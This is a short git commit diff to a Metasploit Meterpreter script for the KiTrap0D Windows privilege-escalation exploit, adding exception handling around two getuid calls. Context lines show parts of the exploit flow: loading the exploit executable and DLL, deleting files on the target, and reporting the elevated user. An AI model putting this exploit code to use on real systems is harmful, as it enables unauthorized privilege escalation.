Wrap the getuid in exception handlers

git-svn-id: file:///home/svn/framework3/trunk@8254 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2010-01-27 04:50:43 +00:00
parent 8be92ab010
commit 9548e7837f
1 changed files with 11 additions and 3 deletions

View File

@ -39,8 +39,12 @@ def m_exec(session, cmd)
b
end
print_status("Currently running as " + client.sys.config.getuid)
print_line("")
# Handle exceptions in the getuid() call
begin
print_status("Currently running as " + client.sys.config.getuid)
print_line("")
rescue ::Rex::Post::Meterpreter::RequestError
end
print_status("Loading the vdmallowed executable and DLL from the local system...")
based = ::File.join(Msf::Config.install_root, "data", "exploits", "kitrap0d")
@ -84,5 +88,9 @@ print_status("Deleting files...")
client.fs.file.rm(tempexe)
client.fs.file.rm(tempdll)
print_status("Now running as " + client.sys.config.getuid)
# Handle exceptions in the getuid() call
begin
print_status("Now running as " + client.sys.config.getuid)
rescue ::Rex::Post::Meterpreter::RequestError
end